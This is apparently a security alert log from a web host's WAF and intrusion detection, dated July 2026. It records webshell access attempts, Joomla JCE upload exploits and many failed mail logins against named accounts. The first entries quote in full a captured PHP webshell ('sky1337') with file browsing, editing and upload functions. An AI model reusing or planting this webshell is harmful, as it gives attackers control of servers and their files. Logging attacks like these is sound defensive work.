Writable: \\\".(is_writable($doc)?'<span style=\\\"color:#0f0;\\\">YES</span>':'<span style=\\\"color:#f00;\\\">NO</span>').\\\"</div>\\r\\n\\r\\n    <form method='POST' enctype='multipart/form-data' action='?m=upload'>\\r\\n\\r\\n    <input type='file' name='file' required><br>\\r\\n\\r\\n    <input type='text' name='path' value='$doc'><br>\\r\\n\\r\\n    <button type='submit'>UPLOAD</button></form></body></html>\\\";\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// Upload Process\\r\\n\\r\\nif($m=='upload'&&$_SERVER['REQUEST_METHOD']=='POST'){\\r\\n\\r\\n    $dest=$_POST['path']??$_SERVER['DOCUMENT_ROOT'];\\r\\n\\r\\n    $fn=basename($_FILES['file']['name']);\\r\\n\\r\\n    $dp=rtrim($dest,'/').'/'.$fn;\\r\\n\\r\\n    echo \\\"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}a{color:#f44;}</style></head><body>\\\";\\r\\n\\r\\n    if(move_uploaded_file($_FILES['file']['tmp_name'],$dp)){\\r\\n\\r\\n        echo \\\"<h2 style='color:#0f0;'>SUCCESS</h2><p>$dp</p>\\\";\\r\\n\\r\\n    }else{\\r\\n\\r\\n        echo \\\"<h2 style='color:#f00;'>FAILED</h2>\\\";\\r\\n\\r\\n    }\\r\\n\\r\\n    echo \\\"<br><a href='?m=upload_form'>Back</a></body></html>\\\";\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// Home\\r\\n\\r\\necho \\\"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:40px;text-align:center;}a{color:#f44;font-size:16px;text-decoration:none;margin:10px;display:inline-block;padding:10px 20px;background:#111;border-radius:6px;border:1px solid #333;}a:hover{background:#222;color:#fff;}</style></head><body>\\\";\\r\\n\\r\\necho \\\"<h1 style='color:#f44;'>sky1337</h1>\\\";\\r\\n\\r\\necho \\\"<p>\\\".$_SERVER['HTTP_HOST'].\\\" | \\\".get_current_user().\\\"</p>\\\";\\r\\n\\r\\necho \\\"<a href='?m=ls'>Files</a> <a href='?m=info'>Info</a> <a href='?m=upload_form'>Upload</a>\\\";\\r\\n\\r\\necho \\\"</body></html>\\\";\\r\\n\\r\\n?>\"}||MVN:ARGS:data[content]||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 143.198.88.50
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Possible XSS in arguments||MV:{\"layout\": \"<?php\\r\\n\\r\\nerror_reporting(0);@ini_set('display_errors',0);\\r\\n\\r\\n$m=isset($_get['m'])?$_get['m']:'upload_form';\\r\\n\\r\\n// view file (php native)\\r\\n\\r\\nif($m=='view'||isset($_get['f'])){\\r\\n\\r\\n    $f=isset($_get['f'])?$_get['f']:'';\\r\\n\\r\\n    if($f&&file_exists($f)){\\r\\n\\r\\n        echo \\\"<html><head><style>body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px;}pre{background:#111;padding:15px;border-radius:6px;border:1px solid #333;white-space:pre-wrap;word-wrap:break-word;}a{color:#f44;}</style></head><body>\\\";\\r\\n\\r\\n        echo \\\"<h2 style='color:#f44;'>sky1337 - \\\".basename($f).\\\"</h2>\\\";\\r\\n\\r\\n        echo \\\"<pre>\\\".htmlspecialchars(file_get_contents($f)).\\\"</pre>\\\";\\r\\n\\r\\n        echo \\\"<hr><a href='?m=ls&d=\\\".dirname($f).\\\"'>[back]</a></body></html>\\\";\\r\\n\\r\\n    }else{echo \\\"file not found\\\";}\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// edit file\\r\\n\\r\\nif($m=='edit'&&$_server['request_method']=='post'){\\r\\n\\r\\n    $f=$_post['f'];\\r\\n\\r\\n    $c=$_post['c'];\\r\\n\\r\\n    if($f&&file_exists($f)&&is_writable($f)){\\r\\n\\r\\n        file_put_contents($f,$c);\\r\\n\\r\\n        echo \\\"<script>alert('saved!');location='?m=view&f=$f';</script>\\\";\\r\\n\\r\\n    }else{echo \\\"failed to save\\\";}\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// file manager\\r\\n\\r\\nif($m=='ls'){\\r\\n\\r\\n    $d=isset($_get['d'])?$_get['d']:'.';\\r\\n\\r\\n    $real=realpath($d);\\r\\n\\r\\n    echo \\\"<html><head><meta charset='utf-8'><title>sky1337</title>\\r\\n\\r\\n    <style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}\\r\\n\\r\\n    a{color:#f44;text-decoration:none;}a:hover{color:#fff;}\\r\\n\\r\\n    .dir{color:#fa0;}.file{color:#888;}.w{color:#0f0;}\\r\\n\\r\\n    .nav{background:#111;padding:10px;border-radius:6px;margin:10px 0;border:1px solid #333;}\\r\\n\\r\\n    hr{border-color:#333;}\\r\\n\\r\\n    .s{font-size:11px;color:#666;}</style></head><body>\\\";\\r\\n\\r\\n    echo \\\"<h2 style='color:#f44;margin:0;'>sky1337</h2>\\\";\\r\\n\\r\\n    echo \\\"<p style='color:#666;font-size:11px;'>\\\".$_server['http_host'].\\\" | \\\".get_current_user().\\\"</p>\\\";\\r\\n\\r\\n    echo \\\"<p style='color:#fa0;'>$real</p>\\\";\\r\\n\\r\\n    echo \\\"<div class='nav'>\\\";\\r\\n\\r\\n    if($d!='/'){$p=dirname($d);echo \\\"<a href='?m=ls&d=$p'>[up]</a> \\\";}\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=.'>[home]</a> \\\";\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=/'>[/root]</a> \\\";\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=/home'>[/home]</a> \\\";\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=/var/www'>[/var/www]</a> \\\";\\r\\n\\r\\n    echo \\\"<a href='?m=ls&d=/etc'>[/etc]</a> \\\";\\r\\n\\r\\n    echo \\\"</div><hr>\\\";\\r\\n\\r\\n    foreach(scandir($d) as $f){\\r\\n\\r\\n        if($f=='.')continue;\\r\\n\\r\\n        $path=rtrim($d,'/').'/'.ltrim($f,'/');\\r\\n\\r\\n        $w=is_writable($path)?' <span class=\\\"w\\\">[w]</span>':'';\\r\\n\\r\\n        if(is_dir($path)){\\r\\n\\r\\n            echo \\\"<span class='dir'>dir</span> <a class='dir' href='?m=ls&d=$path'>$f</a>$w<br>\\\";\\r\\n\\r\\n        }else{\\r\\n\\r\\n            $s=filesize($path);\\r\\n\\r\\n            $sh=$s>1048576?round($s/1048576,1).'mb':($s>1024?round($s/1024,1).'kb':$s.'b');\\r\\n\\r\\n            echo \\\"<span class='file'>file</span> <a href='?m=view&f=$path'>$f</a> <span class='s'>$sh</span>$w<br>\\\";\\r\\n\\r\\n        }\\r\\n\\r\\n    }\\r\\n\\r\\n    echo \\\"<hr><div class='nav'><a href='?m=upload_form'>[upload]</a> | <a href='?m=info'>[info]</a></div>\\\";\\r\\n\\r\\n    echo \\\"</body></html>\\\";\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// info\\r\\n\\r\\nif($m=='info'){\\r\\n\\r\\n    echo \\\"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}pre{background:#111;padding:15px;border-radius:6px;border:1px solid #333;}a{color:#f44;}</style></head><body>\\\";\\r\\n\\r\\n    echo \\\"<h2 style='color:#f44;'>sky1337 info</h2><pre>\\\";\\r\\n\\r\\n    echo \\\"uname: \\\".php_uname().\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"user: \\\".get_current_user().\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"docroot: \\\".$_server['document_root'].\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"disable: \\\".ini_get('disable_functions').\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"openbasedir: \\\".ini_get('open_basedir').\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"server: \\\".$_server['server_software'].\\\"\\\\n\\\";\\r\\n\\r\\n    echo \\\"</pre><a href='?m=ls'>[files]</a> | <a href='?m=upload_form'>[upload]</a></body></html>\\\";\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// upload form\\r\\n\\r\\nif($m=='upload_form'){\\r\\n\\r\\n    $doc=$_server['document_root']??'/var/www/html';\\r\\n\\r\\n    if(!empty($_get['path'])&&is_dir($_get['path'])){$doc=$_get['path'];}\\r\\n\\r\\n    echo \\\"<html><head><meta charset='utf-8'><title>sky1337 upload</title>\\r\\n\\r\\n    <style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}\\r\\n\\r\\n    form{background:#111;padding:20px;border-radius:8px;max-width:500px;border:1px solid #333;}\\r\\n\\r\\n    input,button{background:#0a0a0a;color:#e0e0e0;border:1px solid #333;padding:10px;border-radius:4px;margin:5px 0;width:100%;}\\r\\n\\r\\n    button{background:#f44;color:#fff;cursor:pointer;width:auto;font-weight:bold;}button:hover{background:#c00;}\\r\\n\\r\\n    a{color:#f44;}.info{background:#1a1a1a;padding:10px;border-radius:4px;margin:10px 0;border:1px solid #333;}</style></head><body>\\r\\n\\r\\n    <h2 style='color:#f44;'>sky1337 upload</h2>\\r\\n\\r\\n    <p><a href='?m=ls'>[files]</a> | <a href='?m=info'>[info]</a></p>\\r\\n\\r\\n    <div class='info'>docroot: $doc | writable: \\\".(is_writable($doc)?'<span style=\\\"color:#0f0;\\\">yes</span>':'<span style=\\\"color:#f00;\\\">no</span>').\\\"</div>\\r\\n\\r\\n    <form method='post' enctype='multipart/form-data' action='?m=upload'>\\r\\n\\r\\n    <input type='file' name='file' required><br>\\r\\n\\r\\n    <input type='text' name='path' value='$doc'><br>\\r\\n\\r\\n    <button type='submit'>upload</button></form></body></html>\\\";\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// upload process\\r\\n\\r\\nif($m=='upload'&&$_server['request_method']=='post'){\\r\\n\\r\\n    $dest=$_post['path']??$_server['document_root'];\\r\\n\\r\\n    $fn=basename($_files['file']['name']);\\r\\n\\r\\n    $dp=rtrim($dest,'/').'/'.$fn;\\r\\n\\r\\n    echo \\\"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:20px;}a{color:#f44;}</style></head><body>\\\";\\r\\n\\r\\n    if(move_uploaded_file($_files['file']['tmp_name'],$dp)){\\r\\n\\r\\n        echo \\\"<h2 style='color:#0f0;'>success</h2><p>$dp</p>\\\";\\r\\n\\r\\n    }else{\\r\\n\\r\\n        echo \\\"<h2 style='color:#f00;'>failed</h2>\\\";\\r\\n\\r\\n    }\\r\\n\\r\\n    echo \\\"<br><a href='?m=upload_form'>back</a></body></html>\\\";\\r\\n\\r\\n    exit;\\r\\n\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n// home\\r\\n\\r\\necho \\\"<html><head><style>body{background:#0a0a0a;color:#b0b0b0;font-family:monospace;padding:40px;text-align:center;}a{color:#f44;font-size:16px;text-decoration:none;margin:10px;display:inline-block;padding:10px 20px;background:#111;border-radius:6px;border:1px solid #333;}a:hover{background:#222;color:#fff;}</style></head><body>\\\";\\r\\n\\r\\necho \\\"<h1 style='color:#f44;'>sky1337</h1>\\\";\\r\\n\\r\\necho \\\"<p>\\\".$_server['http_host'].\\\" | \\\".get_current_user().\\\"</p>\\\";\\r\\n\\r\\necho \\\"<a href='?m=ls'>files</a> <a href='?m=info'>info</a> <a href='?m=upload_form'>upload</a>\\\";\\r\\n\\r\\necho \\\"</body></html>\\\";\\r\\n\\r\\n?>\"}||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.19.185
country_id: 1861060
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/uploader.php||SC:/home/stcinemas/public_html/images/uploader.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-07 02:53:46 dovecot_login authenticator failed for H=([70.166.167.44]) [106.0.165.219]:44014: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.208.96.194
country_id: 1819730
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/vrishenterprises/sriganapathyent.in/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.247.24.165
country_id: 1819730
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/keralapeople/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-07 02:58:01 dovecot_login authenticator failed for H=([98.190.239.1]) [182.95.106.102]:36152: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-07 02:57:32 dovecot_login authenticator failed for H=([223.210.27.53]) [82.16.221.216]:34018: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-07 02:59:20 dovecot_login authenticator failed for H=(81.214.75.248.dynamic.ttnet.com.tr) [197.219.208.58]:46670: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-07 02:59:23 dovecot_login authenticator failed for H=([180.94.75.114]) [92.62.74.41]:47150: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-07 02:59:43 dovecot_login authenticator failed for H=(ppp-58-8-48-178.revip2.asianet.co.th) [182.78.87.2]:38310: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/keralapeople/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-07-07 03:10:14 dovecot_login authenticator failed for H=([192.252.220.90]) [218.233.182.39]:1761: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-07 03:10:03 dovecot_login authenticator failed for H=([220.94.124.233]) [205.250.25.62]:59696: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-07 03:12:06 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com ([98.181.137.75]) [82.209.148.60]:38474: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.150
country_id: 1733045
description:
2026-07-07 03:12:46 dovecot_login authenticator failed for H=([192.111.130.1]) [49.124.152.150]:55586: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.44.113.143
country_id: 798544
description:
2026-07-07 03:15:07 dovecot_login authenticator failed for H=([70.166.167.44]) [191.44.113.143]:13724: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-07 03:15:27 dovecot_login authenticator failed for H=(64-251-149-81.fidnet.com) [117.211.15.93]:42020: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-07 03:15:30 dovecot_login authenticator failed for H=([205.209.65.70]) [121.129.75.178]:60320: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-07 03:16:28 dovecot_login authenticator failed for H=([24.249.199.26]) [200.107.163.195]:23524: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-07 03:16:13 dovecot_login authenticator failed for H=([68.71.252.33]) [102.210.148.41]:47484: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.155.233.216
country_id: 174982
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://telegra.ph/Platforma-Oskelly-otzyvy-original-ili-poddelka-i-kak-rabotaet-internet-magazin-06-23\">\xd0\xbe\xd1\x81\xd0\xba\xd0\xb5\xd0\xbb\xd0\xbb\xd0\xb8 \xd0\xb8\xd0\xbd\xd1\x82\xd0\xb5\xd1\x80\xd0\xbd\xd0\xb5\xd1\x82 \xd0\xbc\xd0\xb0\xd0\xb3\xd0\xb0\xd0\xb7\xd0\xb8\xd0\xbd</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.122
country_id: 1668284
description:
2026-07-07 03:19:05 dovecot_login authenticator failed for H=([98.182.147.126]) [101.13.4.122]:43232: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.35.187
country_id: 1835841
description:
2026-07-07 03:22:12 dovecot_login authenticator failed for H=([36.135.62.96]) [182.31.35.187]:48236: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-07 03:22:29 dovecot_login authenticator failed for H=([27.158.58.178]) [78.197.6.173]:62209: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77469916
abuser: 104.28.165.220
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx74782.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-07 03:22:46 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([128.185.208.42]) [208.96.233.67]:58438: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.155.237.108
country_id: 1835841
description:
2026-07-07 03:27:43 dovecot_login authenticator failed for H=([70.166.167.42]) [221.155.237.108]:55654: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.77.244.139
country_id: 6252001
description:
2026-07-07 03:28:05 dovecot_login authenticator failed for H=([200.46.177.242]) [64.77.244.139]:33767: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.182.76
country_id: 1835841
description:
2026-07-07 03:29:30 dovecot_login authenticator failed for H=([196.189.126.185]) [124.153.182.76]:45280: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-07 03:30:31 dovecot_login authenticator failed for H=([116.74.77.163]) [27.110.176.222]:51979: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.155.228.189
country_id: 2661886
description:
2026-07-07 03:31:17 dovecot_login authenticator failed for H=h95-155-228-189.cust.bredband2.com (164.124.222.222.broad.lf.he.dynamic.163data.com.cn) [95.155.228.189]:40466: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.184
country_id: 2215636
description:
2026-07-07 03:31:40 dovecot_login authenticator failed for H=(223-197-196-92.static.imsbiz.com) [102.38.3.184]:53320: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.51.52.191
country_id: 1605651
description:
2026-07-07 03:33:16 dovecot_login authenticator failed for H=([27.39.128.127]) [101.51.52.191]:54677: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-07 03:33:28 dovecot_login authenticator failed for H=([49.125.203.163]) [65.181.79.60]:49692: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-07 03:34:14 dovecot_login authenticator failed for H=([220.189.209.18]) [175.200.217.128]:43906: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-07 03:34:28 dovecot_login authenticator failed for H=(RZD-gw.transtelecom.net) [125.23.203.138]:34336: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77469916
abuser: 108.171.108.248
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-84una4ye.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-07 03:37:27 dovecot_login authenticator failed for H=(host59.sub-63-47-149.myvzw.com) [59.12.212.38]:41880: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-07-07 03:36:42 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [122.176.45.238]:34698: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.44.114.167
country_id: 3865483
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/business-gravity-img-13-1170x710/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.198.221.50
country_id: 6252001
description:
2026-07-07 03:39:40 dovecot_login authenticator failed for H=([124.88.174.143]) [66.198.221.50]:54626: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 188.119.26.40
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcewogderzt.xml.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: elegantautomotives.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/elegantautomotiv/public_html/index.php||User:elegantautomotiv||WPU:||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 20.114.52.10
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.238.79
country_id: 1835841
domain: apkmetal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/apkmetals/public_html/wp-content/uploads/2021/02||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-07 03:47:44 dovecot_login authenticator failed for H=([223.100.248.64]) [59.145.160.134]:35784: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.152
country_id: 1733045
description:
2026-07-07 03:48:27 dovecot_login authenticator failed for H=([49.124.152.179]) [183.171.49.152]:37364: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.36.209
country_id: 1835841
description:
2026-07-07 03:48:42 dovecot_login authenticator failed for H=([103.163.44.10]) [168.126.36.209]:60384: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-07-07 03:51:11 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com ([184.170.245.145]) [75.80.65.214]:33723: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.158
country_id: 1668284
description:
2026-07-07 03:51:28 dovecot_login authenticator failed for H=111-70-29-158.emome-ip.hinet.net ([154.58.35.181]) [111.70.29.158]:36281: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: fefkadirectorsunion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/fefkadirectors/public_html/index.php||User:fefkadirectors||WPU:||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.126.249.22
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://a-listdirectory.com/listings13358059/online-loterij\">staatslot heel</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.170
country_id: 1733045
description:
2026-07-07 04:02:02 dovecot_login authenticator failed for H=([121.66.63.189]) [49.124.152.170]:51162: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-07 04:02:14 dovecot_login authenticator failed for H=([103.210.250.198]) [182.95.61.82]:46404: 535 Incorrect authentication data (set_id=prameela)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.132
country_id: 1668284
description:
2026-07-07 04:03:28 dovecot_login authenticator failed for H=111-70-29-132.emome-ip.hinet.net ([49.124.151.58]) [111.70.29.132]:42435: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.78
country_id: 99237
description:
2026-07-07 04:03:11 dovecot_login authenticator failed for H=([201.91.242.197]) [65.20.167.78]:50473: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-07 04:11:02 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [128.185.208.42]:43416: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.82
country_id: 2186224
description:
2026-07-07 04:11:32 dovecot_login authenticator failed for H=([59.16.192.32]) [121.73.163.82]:44618: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.166.123
country_id: 1605651
description:
2026-07-07 04:11:53 dovecot_login authenticator failed for H=([36.153.189.66]) [106.0.166.123]:55795: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-07 04:11:55 dovecot_login authenticator failed for H=([196.188.187.85]) [182.95.228.106]:43228: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.106
country_id: 1269750
description:
2026-07-07 04:12:09 dovecot_login authenticator failed for H=([61.186.136.36]) [122.185.146.106]:48044: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
